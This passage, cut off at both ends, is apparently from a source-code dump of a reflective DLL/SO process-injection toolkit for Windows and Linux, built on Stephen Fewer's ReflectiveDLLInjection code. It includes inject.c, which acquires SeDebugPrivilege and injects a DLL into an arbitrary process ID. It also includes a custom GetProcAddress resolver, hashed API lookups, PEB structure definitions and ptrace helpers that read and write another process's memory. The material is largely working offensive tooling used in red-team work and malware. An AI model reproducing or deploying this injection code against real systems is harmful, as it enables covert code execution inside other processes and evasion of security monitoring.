MERCHANTABILITY AND 20 | // FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR 21 | // CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 22 | // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 23 | // SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 24 | // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR 25 | // OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 26 | // POSSIBILITY OF SUCH DAMAGE. 27 | //===============================================================================================// 28 | #define WIN32_LEAN_AND_MEAN 29 | #include 30 | #include 31 | #include 32 | #include "LoadLibraryR.h" 33 | 34 | #pragma comment(lib,"Advapi32.lib") 35 | 36 | #define BREAK_WITH_ERROR( e ) { printf( "[-] %s. Error=%d", e, GetLastError() ); break; } 37 | 38 | // Simple app to inject a reflective DLL into a process vis its process ID. 39 | int main( int argc, char * argv[] ) 40 | { 41 | HANDLE hFile = NULL; 42 | HANDLE hModule = NULL; 43 | HANDLE hProcess = NULL; 44 | HANDLE hToken = NULL; 45 | LPVOID lpBuffer = NULL; 46 | DWORD dwLength = 0; 47 | DWORD dwBytesRead = 0; 48 | DWORD dwProcessId = 0; 49 | TOKEN_PRIVILEGES priv = {0}; 50 | 51 | #ifdef WIN_X64 52 | char * cpDllFile = "reflective_dll.x64.dll"; 53 | #else 54 | #ifdef WIN_X86 55 | char * cpDllFile = "reflective_dll.dll"; 56 | #else WIN_ARM 57 | char * cpDllFile = "reflective_dll.arm.dll"; 58 | #endif 59 | #endif 60 | 61 | do 62 | { 63 | // Usage: inject.exe [pid] [dll_file] 64 | 65 | if( argc == 1 ) 66 | dwProcessId = GetCurrentProcessId(); 67 | else 68 | dwProcessId = atoi( argv[1] ); 69 | 70 | if( argc >= 3 ) 71 | cpDllFile = argv[2]; 72 | 73 | hFile = CreateFileA( cpDllFile, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL ); 74 | if( hFile == INVALID_HANDLE_VALUE ) 75 | BREAK_WITH_ERROR( "Failed to open the DLL file" ); 76 | 77 | dwLength = GetFileSize( hFile, NULL ); 78 | if( dwLength == INVALID_FILE_SIZE || dwLength == 0 ) 79 | BREAK_WITH_ERROR( "Failed to get the DLL file size" ); 80 | 81 | lpBuffer = HeapAlloc( GetProcessHeap(), 0, dwLength ); 82 | if( !lpBuffer ) 83 | BREAK_WITH_ERROR( "Failed to get the DLL file size" ); 84 | 85 | if( ReadFile( hFile, lpBuffer, dwLength, &dwBytesRead, NULL ) == FALSE ) 86 | BREAK_WITH_ERROR( "Failed to alloc a buffer!" ); 87 | 88 | if( OpenProcessToken( GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken ) ) 89 | { 90 | priv.PrivilegeCount = 1; 91 | priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 92 | 93 | if( LookupPrivilegeValue( NULL, SE_DEBUG_NAME, &priv.Privileges[0].Luid ) ) 94 | AdjustTokenPrivileges( hToken, FALSE, &priv, 0, NULL, NULL ); 95 | 96 | CloseHandle( hToken ); 97 | } 98 | 99 | hProcess = OpenProcess( PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, FALSE, dwProcessId ); 100 | if( !hProcess ) 101 | BREAK_WITH_ERROR( "Failed to open the target process" ); 102 | 103 | hModule = LoadRemoteLibraryR( hProcess, lpBuffer, dwLength, NULL ); 104 | if( !hModule ) 105 | BREAK_WITH_ERROR( "Failed to inject the DLL" ); 106 | 107 | printf( "[+] Injected the '%s' DLL into process %d.", cpDllFile, dwProcessId ); 108 | 109 | WaitForSingleObject( hModule, -1 ); 110 | 111 | } while( 0 ); 112 | 113 | if( lpBuffer ) 114 | HeapFree( GetProcessHeap(), 0, lpBuffer ); 115 | 116 | if( hProcess ) 117 | CloseHandle( hProcess ); 118 | 119 | return 0; 120 | } -------------------------------------------------------------------------------- /windows版/inject/src/GetProcAddressR.c: -------------------------------------------------------------------------------- 1 | //===============================================================================================// 2 | // Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) 3 | // All rights reserved. 4 | // 5 | // Redistribution and use in source and binary forms, with or without modification, are permitted 6 | // provided that the following conditions are met: 7 | // 8 | // * Redistributions of source code must retain the above copyright notice, this list of 9 | // conditions and the following disclaimer. 10 | // 11 | // * Redistributions in binary form must reproduce the above copyright notice, this list of 12 | // conditions and the following disclaimer in the documentation and/or other materials provided 13 | // with the distribution. 14 | // 15 | // * Neither the name of Harmony Security nor the names of its contributors may be used to 16 | // endorse or promote products derived from this software without specific prior written permission. 17 | // 18 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR 19 | // IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND 20 | // FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR 21 | // CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 22 | // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 23 | // SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 24 | // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR 25 | // OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 26 | // POSSIBILITY OF SUCH DAMAGE. 27 | //===============================================================================================// 28 | #include "GetProcAddressR.h" 29 | //===============================================================================================// 30 | // We implement a minimal GetProcAddress to avoid using the native kernel32!GetProcAddress which 31 | // wont be able to resolve exported addresses in reflectivly loaded librarys. 32 | FARPROC WINAPI GetProcAddressR( HANDLE hModule, LPCSTR lpProcName ) 33 | { 34 | UINT_PTR uiLibraryAddress = 0; 35 | FARPROC fpResult = NULL; 36 | 37 | if( hModule == NULL ) 38 | return NULL; 39 | 40 | // a module handle is really its base address 41 | uiLibraryAddress = (UINT_PTR)hModule; 42 | 43 | __try 44 | { 45 | UINT_PTR uiAddressArray = 0; 46 | UINT_PTR uiNameArray = 0; 47 | UINT_PTR uiNameOrdinals = 0; 48 | PIMAGE_NT_HEADERS pNtHeaders = NULL; 49 | PIMAGE_DATA_DIRECTORY pDataDirectory = NULL; 50 | PIMAGE_EXPORT_DIRECTORY pExportDirectory = NULL; 51 | 52 | // get the VA of the modules NT Header 53 | pNtHeaders = (PIMAGE_NT_HEADERS)(uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew); 54 | 55 | pDataDirectory = (PIMAGE_DATA_DIRECTORY)&pNtHeaders->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ]; 56 | 57 | // get the VA of the export directory 58 | pExportDirectory = (PIMAGE_EXPORT_DIRECTORY)( uiLibraryAddress + pDataDirectory->VirtualAddress ); 59 | 60 | // get the VA for the array of addresses 61 | uiAddressArray = ( uiLibraryAddress + pExportDirectory->AddressOfFunctions ); 62 | 63 | // get the VA for the array of name pointers 64 | uiNameArray = ( uiLibraryAddress + pExportDirectory->AddressOfNames ); 65 | 66 | // get the VA for the array of name ordinals 67 | uiNameOrdinals = ( uiLibraryAddress + pExportDirectory->AddressOfNameOrdinals ); 68 | 69 | // test if we are importing by name or by ordinal... 70 | if( ((DWORD)lpProcName & 0xFFFF0000 ) == 0x00000000 ) 71 | { 72 | // import by ordinal... 73 | 74 | // use the import ordinal (- export ordinal base) as an index into the array of addresses 75 | uiAddressArray += ( ( IMAGE_ORDINAL( (DWORD)lpProcName ) - pExportDirectory->Base ) * sizeof(DWORD) ); 76 | 77 | // resolve the address for this imported function 78 | fpResult = (FARPROC)( uiLibraryAddress + DEREF_32(uiAddressArray) ); 79 | } 80 | else 81 | { 82 | // import by name... 83 | DWORD dwCounter = pExportDirectory->NumberOfNames; 84 | while( dwCounter-- ) 85 | { 86 | char * cpExportedFunctionName = (char *)(uiLibraryAddress + DEREF_32( uiNameArray )); 87 | 88 | // test if we have a match... 89 | if( strcmp( cpExportedFunctionName, lpProcName ) == 0 ) 90 | { 91 | // use the functions name ordinal as an index into the array of name pointers 92 | uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) ); 93 | 94 | // calculate the virtual address for the function 95 | fpResult = (FARPROC)(uiLibraryAddress + DEREF_32( uiAddressArray )); 96 | 97 | // finish... 98 | break; 99 | } 100 | 101 | // get the next exported function name 102 | uiNameArray += sizeof(DWORD); 103 | 104 | // get the next exported function name ordinal 105 | uiNameOrdinals += sizeof(WORD); 106 | } 107 | } 108 | } 109 | __except( EXCEPTION_EXECUTE_HANDLER ) 110 | { 111 | fpResult = NULL; 112 | } 113 | 114 | return fpResult; 115 | } 116 | //===============================================================================================// -------------------------------------------------------------------------------- /linux版/so/src/ReflectiveLoader.h: -------------------------------------------------------------------------------- 1 | //===============================================================================================// 2 | // Copyright (c) 2016, Infosec Guerilla (infosecguerilla.wordpress.com) 3 | // All rights reserved. 4 | // 5 | // Redistribution and use in source and binary forms, with or without modification, are permitted 6 | // provided that the following conditions are met: 7 | // 8 | // * Redistributions of source code must retain the above copyright notice, this list of 9 | // conditions and the following disclaimer. 10 | // 11 | // * Redistributions in binary form must reproduce the above copyright notice, this list of 12 | // conditions and the following disclaimer in the documentation and/or other materials provided 13 | // with the distribution. 14 | // 15 | // * Neither the name of Harmony Security nor the names of its contributors may be used to 16 | // endorse or promote products derived from this software without specific prior written permission. 17 | // 18 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR 19 | // IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND 20 | // FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR 21 | // CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 22 | // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 23 | // SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 24 | // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR 25 | // OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 26 | // POSSIBILITY OF SUCH DAMAGE. 27 | //===============================================================================================// 28 | #ifndef _REFLECTIVESOINJECTION_REFLECTIVELOADER_H 29 | #define _REFLECTIVESOINJECTION_REFLECTIVELOADER_H 30 | //===============================================================================================// 31 | 32 | #include 33 | #include 34 | #include 35 | #include 36 | #include 37 | #include 38 | #include 39 | 40 | //===============================================================================================// 41 | 42 | #define DYNSYM_HASH 0x32E01F5C 43 | #define DYNSTR_HASH 0x32e01ec6 44 | #define RELAPLT_HASH 0x83203420 45 | #define RELADYN_HASH 0x832008A1 46 | #define DYNAMIC_HASH 0x291B7051 47 | #define CALLOC_HASH 0xAE7968B2 48 | #define MPROTECT_HASH 0x2874F1C2 49 | 50 | #define DLOPEN_HASH 0x08AD428F 51 | #define DLCLOSE_HASH 0x73B0998F 52 | #define DLSYM_HASH 0xDBE4741E 53 | 54 | //===============================================================================================// 55 | 56 | typedef struct { 57 | unsigned char *maps; 58 | unsigned char *pos; 59 | unsigned int size; 60 | } MAPS_FILE; 61 | 62 | typedef struct { 63 | void *startaddr; 64 | void *endaddr; 65 | char *perms; 66 | char *name; 67 | } MAPS_ENTRY; 68 | 69 | typedef struct { 70 | /* ELF Header and Baseaddr */ 71 | Elf64_Ehdr *header; 72 | void *baseaddr; 73 | 74 | /* ELF Section Headers */ 75 | Elf64_Shdr *secdynsym; 76 | Elf64_Shdr *secdynamic; 77 | Elf64_Shdr *secrelaplt; 78 | Elf64_Shdr *secreladyn; 79 | Elf64_Shdr *secdynstr; 80 | Elf64_Shdr *sections; 81 | Elf64_Phdr *segments; 82 | 83 | /* ELF Sections */ 84 | Elf64_Dyn *dynamic; 85 | Elf64_Sym *dynsym; 86 | char *dynstr; 87 | char *SH_STRTAB; 88 | void *gnu_hash; 89 | Elf64_Rela *relaplt; 90 | Elf64_Rela *reladyn; 91 | 92 | /* Counters of "things" */ 93 | unsigned int dynsymcount; 94 | } ELF_FILE; 95 | 96 | //===============================================================================================// 97 | 98 | #ifdef RSOI_DEBUG_MODE 99 | int ReflectiveLoader(char *debugFile); 100 | Elf64_Ehdr* load_file_debug_mode(char *debugfile); 101 | #else 102 | int ReflectiveLoader(); 103 | #endif 104 | 105 | __attribute__((always_inline)) inline void* get_libc_base_addr(); 106 | __attribute__((always_inline)) inline MAPS_ENTRY get_next_maps_entry(MAPS_FILE *maps); 107 | 108 | __attribute__((always_inline)) inline unsigned int get_num_dynsym_entries(ELF_FILE *e); 109 | 110 | __attribute__((always_inline)) inline uint64_t convert_string_to_64bit_pointer(unsigned char *x); 111 | __attribute__((always_inline)) inline unsigned int copy_in(int fd, void *address); 112 | __attribute__((always_inline)) unsigned int get_program_memory_size(Elf64_Ehdr *header); 113 | 114 | __attribute__((always_inline)) unsigned int check_elf_magic(Elf64_Ehdr *elfHdr); 115 | __attribute__((always_inline)) Elf64_Ehdr* find_elf_header(); 116 | __attribute__((always_inline)) void call_program_constructors(ELF_FILE e); 117 | 118 | __attribute__((always_inline)) inline void* crt_mmap(void *start, unsigned long length, int prot, int flags, int fd, unsigned long offset); 119 | __attribute__((always_inline)) inline int crt_close(int fd); 120 | __attribute__((always_inline)) inline int crt_munmap(void *start, unsigned long length); 121 | __attribute__((always_inline)) inline void *crt_memcpy(void *dest, const void *src, unsigned long n); 122 | __attribute__((always_inline)) inline int crt_read(int fd, char *buffer, unsigned long bufferlen); 123 | __attribute__((always_inline)) inline int crt_stat(const char *path, void *buf); 124 | __attribute__((always_inline)) inline unsigned long crt_strlen(const char *s); 125 | 126 | __attribute__((always_inline)) inline unsigned int hash(unsigned char *word); 127 | __attribute__((always_inline)) inline unsigned int find_section_by_hash(unsigned int sectionHash, Elf64_Shdr *sections, unsigned char *SH_STRTAB, unsigned int numSections); 128 | 129 | //===============================================================================================// 130 | #endif 131 | //===============================================================================================// 132 | -------------------------------------------------------------------------------- /linux版/inject/src/ptrace.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | 9 | #include "ptrace.h" 10 | 11 | /* 12 | * ptrace_attach() 13 | * 14 | * Use ptrace() to attach to a process. This requires calling waitpid() to 15 | * determine when the process is ready to be traced. 16 | * 17 | * args: 18 | * - int pid: pid of the process to attach to 19 | * 20 | */ 21 | 22 | void ptrace_attach(pid_t target) 23 | { 24 | int waitpidstatus; 25 | 26 | if(ptrace(PTRACE_ATTACH, target, NULL, NULL) == -1) 27 | { 28 | fprintf(stderr, "ptrace(PTRACE_ATTACH) failed\n"); 29 | exit(1); 30 | } 31 | 32 | if(waitpid(target, &waitpidstatus, WUNTRACED) != target) 33 | { 34 | fprintf(stderr, "waitpid(%d) failed\n", target); 35 | exit(1); 36 | } 37 | } 38 | 39 | /* 40 | * ptrace_detach() 41 | * 42 | * Detach from a process that is being ptrace()d. Unlike ptrace_cont(), this 43 | * completely ends our relationship with the target process. 44 | * 45 | * args: 46 | * - int pid: pid of the process to detach from. this process must already be 47 | * ptrace()d by us in order for this to work. 48 | * 49 | */ 50 | 51 | void ptrace_detach(pid_t target) 52 | { 53 | if(ptrace(PTRACE_DETACH, target, NULL, NULL) == -1) 54 | { 55 | fprintf(stderr, "ptrace(PTRACE_DETACH) failed\n"); 56 | exit(1); 57 | } 58 | } 59 | 60 | /* 61 | * ptrace_getregs() 62 | * 63 | * Use ptrace() to get a process' current register state. Uses REG_TYPE 64 | * preprocessor macro in order to allow for both ARM and x86/x86_64 65 | * functionality. 66 | * 67 | * args: 68 | * - int pid: pid of the target process 69 | * - struct REG_TYPE* regs: a struct (either user_regs_struct or user_regs, 70 | * depending on architecture) to store the resulting register data in 71 | * 72 | */ 73 | 74 | void ptrace_getregs(pid_t target, struct REG_TYPE* regs) 75 | { 76 | if(ptrace(PTRACE_GETREGS, target, NULL, regs) == -1) 77 | { 78 | fprintf(stderr, "ptrace(PTRACE_GETREGS) failed\n"); 79 | exit(1); 80 | } 81 | } 82 | 83 | /* 84 | * ptrace_cont() 85 | * 86 | * Continue the execution of a process being traced using ptrace(). Note that 87 | * this is different from ptrace_detach(): we still retain control of the 88 | * target process after this call. 89 | * 90 | * args: 91 | * - int pid: pid of the target process 92 | * 93 | */ 94 | 95 | void ptrace_cont(pid_t target) 96 | { 97 | struct timespec* sleeptime = malloc(sizeof(struct timespec)); 98 | 99 | sleeptime->tv_sec = 0; 100 | sleeptime->tv_nsec = 5000000; 101 | 102 | if(ptrace(PTRACE_CONT, target, NULL, NULL) == -1) 103 | { 104 | fprintf(stderr, "ptrace(PTRACE_CONT) failed\n"); 105 | exit(1); 106 | } 107 | 108 | nanosleep(sleeptime, NULL); 109 | 110 | // make sure the target process received SIGTRAP after stopping. 111 | checktargetsig(target); 112 | } 113 | 114 | /* 115 | * ptrace_setregs() 116 | * 117 | * Use ptrace() to set the target's register state. 118 | * 119 | * args: 120 | * - int pid: pid of the target process 121 | * - struct REG_TYPE* regs: a struct (either user_regs_struct or user_regs, 122 | * depending on architecture) containing the register state to be set in the 123 | * target process 124 | * 125 | */ 126 | 127 | void ptrace_setregs(pid_t target, struct REG_TYPE* regs) 128 | { 129 | if(ptrace(PTRACE_SETREGS, target, NULL, regs) == -1) 130 | { 131 | fprintf(stderr, "ptrace(PTRACE_SETREGS) failed\n"); 132 | exit(1); 133 | } 134 | } 135 | 136 | /* 137 | * ptrace_getsiginfo() 138 | * 139 | * Use ptrace() to determine what signal was most recently raised by the target 140 | * process. This is primarily used for to determine whether the target process 141 | * has segfaulted. 142 | * 143 | * args: 144 | * - int pid: pid of the target process 145 | * 146 | * returns: 147 | * - a siginfo_t containing information about the most recent signal raised by 148 | * the target process 149 | * 150 | */ 151 | 152 | siginfo_t ptrace_getsiginfo(pid_t target) 153 | { 154 | siginfo_t targetsig; 155 | if(ptrace(PTRACE_GETSIGINFO, target, NULL, &targetsig) == -1) 156 | { 157 | fprintf(stderr, "ptrace(PTRACE_GETSIGINFO) failed\n"); 158 | exit(1); 159 | } 160 | return targetsig; 161 | } 162 | 163 | /* 164 | * ptrace_read() 165 | * 166 | * Use ptrace() to read the contents of a target process' address space. 167 | * 168 | * args: 169 | * - int pid: pid of the target process 170 | * - unsigned long addr: the address to start reading from 171 | * - void *vptr: a pointer to a buffer to read data into 172 | * - int len: the amount of data to read from the target 173 | * 174 | */ 175 | 176 | void ptrace_read(int pid, unsigned long addr, void *vptr, int len) 177 | { 178 | int bytesRead = 0; 179 | int i = 0; 180 | long word = 0; 181 | long *ptr = (long *) vptr; 182 | 183 | while (bytesRead < len) 184 | { 185 | word = ptrace(PTRACE_PEEKTEXT, pid, addr + bytesRead, NULL); 186 | if(word == -1) 187 | { 188 | fprintf(stderr, "ptrace(PTRACE_PEEKTEXT) failed\n"); 189 | exit(1); 190 | } 191 | bytesRead += sizeof(word); 192 | ptr[i++] = word; 193 | } 194 | } 195 | 196 | /* 197 | * ptrace_write() 198 | * 199 | * Use ptrace() to write to the target process' address space. 200 | * 201 | * args: 202 | * - int pid: pid of the target process 203 | * - unsigned long addr: the address to start writing to 204 | * - void *vptr: a pointer to a buffer containing the data to be written to the 205 | * target's address space 206 | * - int len: the amount of data to write to the target 207 | * 208 | */ 209 | 210 | void ptrace_write(int pid, unsigned long addr, void *vptr, int len) 211 | { 212 | int byteCount = 0; 213 | long word = 0; 214 | 215 | while (byteCount < len) 216 | { 217 | memcpy(&word, vptr + byteCount, sizeof(word)); 218 | word = ptrace(PTRACE_POKETEXT, pid, addr + byteCount, word); 219 | if(word == -1) 220 | { 221 | fprintf(stderr, "ptrace(PTRACE_POKETEXT) failed\n"); 222 | exit(1); 223 | } 224 | byteCount += sizeof(word); 225 | } 226 | } 227 | 228 | /* 229 | * checktargetsig() 230 | * 231 | * Check what signal was most recently returned by the target process being 232 | * ptrace()d. We expect a SIGTRAP from the target process, so raise an error 233 | * and exit if we do not receive that signal. The most likely non-SIGTRAP 234 | * signal for us to receive would be SIGSEGV. 235 | * 236 | * args: 237 | * - int pid: pid of the target process 238 | * 239 | */ 240 | 241 | void checktargetsig(int pid) 242 | { 243 | // check the signal that the child stopped with. 244 | siginfo_t targetsig = ptrace_getsiginfo(pid); 245 | 246 | // if it wasn't SIGTRAP, then something bad happened (most likely a 247 | // segfault). 248 | /*if(targetsig.si_signo != SIGTRAP) 249 | { 250 | fprintf(stderr, "instead of expected SIGTRAP, target stopped with signal %d: %s\n", targetsig.si_signo, strsignal(targetsig.si_signo)); 251 | fprintf(stderr, "sending process %d a SIGSTOP signal for debugging purposes\n", pid); 252 | ptrace(PTRACE_CONT, pid, NULL, SIGSTOP); 253 | exit(1); 254 | }*/ 255 | } 256 | 257 | /* 258 | * restoreStateAndDetach() 259 | * 260 | * Once we're done debugging a target process, restore the process' backed-up 261 | * data and register state and let it go on its merry way. 262 | * 263 | * args: 264 | * - pid_t target: pid of the target process 265 | * - unsigned long addr: address within the target's address space to write 266 | * backed-up data to 267 | * - void* backup: a buffer pointing to the backed-up data 268 | * - int datasize: the amount of backed-up data to write 269 | * - struct REG_TYPE oldregs: backed-up register state to restore 270 | * 271 | */ 272 | 273 | void restoreStateAndDetach(pid_t target, unsigned long addr, void* backup, int datasize, struct REG_TYPE oldregs) 274 | { 275 | ptrace_write(target, addr, backup, datasize); 276 | ptrace_setregs(target, &oldregs); 277 | ptrace_detach(target); 278 | } 279 | -------------------------------------------------------------------------------- /windows版/dll/src/ReflectiveLoader.h: -------------------------------------------------------------------------------- 1 | //===============================================================================================// 2 | // Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) 3 | // All rights reserved. 4 | // 5 | // Redistribution and use in source and binary forms, with or without modification, are permitted 6 | // provided that the following conditions are met: 7 | // 8 | // * Redistributions of source code must retain the above copyright notice, this list of 9 | // conditions and the following disclaimer. 10 | // 11 | // * Redistributions in binary form must reproduce the above copyright notice, this list of 12 | // conditions and the following disclaimer in the documentation and/or other materials provided 13 | // with the distribution. 14 | // 15 | // * Neither the name of Harmony Security nor the names of its contributors may be used to 16 | // endorse or promote products derived from this software without specific prior written permission. 17 | // 18 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR 19 | // IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND 20 | // FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR 21 | // CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 22 | // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 23 | // SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 24 | // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR 25 | // OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 26 | // POSSIBILITY OF SUCH DAMAGE. 27 | //===============================================================================================// 28 | #ifndef _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H 29 | #define _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H 30 | //===============================================================================================// 31 | #define WIN32_LEAN_AND_MEAN 32 | #include 33 | #include 34 | #include 35 | 36 | #include "ReflectiveDLLInjection.h" 37 | 38 | typedef HMODULE (WINAPI * LOADLIBRARYA)( LPCSTR ); 39 | typedef FARPROC (WINAPI * GETPROCADDRESS)( HMODULE, LPCSTR ); 40 | typedef LPVOID (WINAPI * VIRTUALALLOC)( LPVOID, SIZE_T, DWORD, DWORD ); 41 | typedef DWORD (NTAPI * NTFLUSHINSTRUCTIONCACHE)( HANDLE, PVOID, ULONG ); 42 | 43 | #define KERNEL32DLL_HASH 0x6A4ABC5B 44 | #define NTDLLDLL_HASH 0x3CFA685D 45 | 46 | #define LOADLIBRARYA_HASH 0xEC0E4E8E 47 | #define GETPROCADDRESS_HASH 0x7C0DFCAA 48 | #define VIRTUALALLOC_HASH 0x91AFCA54 49 | #define NTFLUSHINSTRUCTIONCACHE_HASH 0x534C0AB8 50 | 51 | #define IMAGE_REL_BASED_ARM_MOV32A 5 52 | #define IMAGE_REL_BASED_ARM_MOV32T 7 53 | 54 | #define ARM_MOV_MASK (DWORD)(0xFBF08000) 55 | #define ARM_MOV_MASK2 (DWORD)(0xFBF08F00) 56 | #define ARM_MOVW 0xF2400000 57 | #define ARM_MOVT 0xF2C00000 58 | 59 | #define HASH_KEY 13 60 | //===============================================================================================// 61 | #pragma intrinsic( _rotr ) 62 | 63 | __forceinline DWORD ror( DWORD d ) 64 | { 65 | return _rotr( d, HASH_KEY ); 66 | } 67 | 68 | __forceinline DWORD hash( char * c ) 69 | { 70 | register DWORD h = 0; 71 | do 72 | { 73 | h = ror( h ); 74 | h += *c; 75 | } while( *++c ); 76 | 77 | return h; 78 | } 79 | //===============================================================================================// 80 | typedef struct _UNICODE_STR 81 | { 82 | USHORT Length; 83 | USHORT MaximumLength; 84 | PWSTR pBuffer; 85 | } UNICODE_STR, *PUNICODE_STR; 86 | 87 | // WinDbg> dt -v ntdll!_LDR_DATA_TABLE_ENTRY 88 | //__declspec( align(8) ) 89 | typedef struct _LDR_DATA_TABLE_ENTRY 90 | { 91 | //LIST_ENTRY InLoadOrderLinks; // As we search from PPEB_LDR_DATA->InMemoryOrderModuleList we dont use the first entry. 92 | LIST_ENTRY InMemoryOrderModuleList; 93 | LIST_ENTRY InInitializationOrderModuleList; 94 | PVOID DllBase; 95 | PVOID EntryPoint; 96 | ULONG SizeOfImage; 97 | UNICODE_STR FullDllName; 98 | UNICODE_STR BaseDllName; 99 | ULONG Flags; 100 | SHORT LoadCount; 101 | SHORT TlsIndex; 102 | LIST_ENTRY HashTableEntry; 103 | ULONG TimeDateStamp; 104 | } LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY; 105 | 106 | // WinDbg> dt -v ntdll!_PEB_LDR_DATA 107 | typedef struct _PEB_LDR_DATA //, 7 elements, 0x28 bytes 108 | { 109 | DWORD dwLength; 110 | DWORD dwInitialized; 111 | LPVOID lpSsHandle; 112 | LIST_ENTRY InLoadOrderModuleList; 113 | LIST_ENTRY InMemoryOrderModuleList; 114 | LIST_ENTRY InInitializationOrderModuleList; 115 | LPVOID lpEntryInProgress; 116 | } PEB_LDR_DATA, * PPEB_LDR_DATA; 117 | 118 | // WinDbg> dt -v ntdll!_PEB_FREE_BLOCK 119 | typedef struct _PEB_FREE_BLOCK // 2 elements, 0x8 bytes 120 | { 121 | struct _PEB_FREE_BLOCK * pNext; 122 | DWORD dwSize; 123 | } PEB_FREE_BLOCK, * PPEB_FREE_BLOCK; 124 | 125 | // struct _PEB is defined in Winternl.h but it is incomplete 126 | // WinDbg> dt -v ntdll!_PEB 127 | typedef struct __PEB // 65 elements, 0x210 bytes 128 | { 129 | BYTE bInheritedAddressSpace; 130 | BYTE bReadImageFileExecOptions; 131 | BYTE bBeingDebugged; 132 | BYTE bSpareBool; 133 | LPVOID lpMutant; 134 | LPVOID lpImageBaseAddress; 135 | PPEB_LDR_DATA pLdr; 136 | LPVOID lpProcessParameters; 137 | LPVOID lpSubSystemData; 138 | LPVOID lpProcessHeap; 139 | PRTL_CRITICAL_SECTION pFastPebLock; 140 | LPVOID lpFastPebLockRoutine; 141 | LPVOID lpFastPebUnlockRoutine; 142 | DWORD dwEnvironmentUpdateCount; 143 | LPVOID lpKernelCallbackTable; 144 | DWORD dwSystemReserved; 145 | DWORD dwAtlThunkSListPtr32; 146 | PPEB_FREE_BLOCK pFreeList; 147 | DWORD dwTlsExpansionCounter; 148 | LPVOID lpTlsBitmap; 149 | DWORD dwTlsBitmapBits[2]; 150 | LPVOID lpReadOnlySharedMemoryBase; 151 | LPVOID lpReadOnlySharedMemoryHeap; 152 | LPVOID lpReadOnlyStaticServerData; 153 | LPVOID lpAnsiCodePageData; 154 | LPVOID lpOemCodePageData; 155 | LPVOID lpUnicodeCaseTableData; 156 | DWORD dwNumberOfProcessors; 157 | DWORD dwNtGlobalFlag; 158 | LARGE_INTEGER liCriticalSectionTimeout; 159 | DWORD dwHeapSegmentReserve; 160 | DWORD 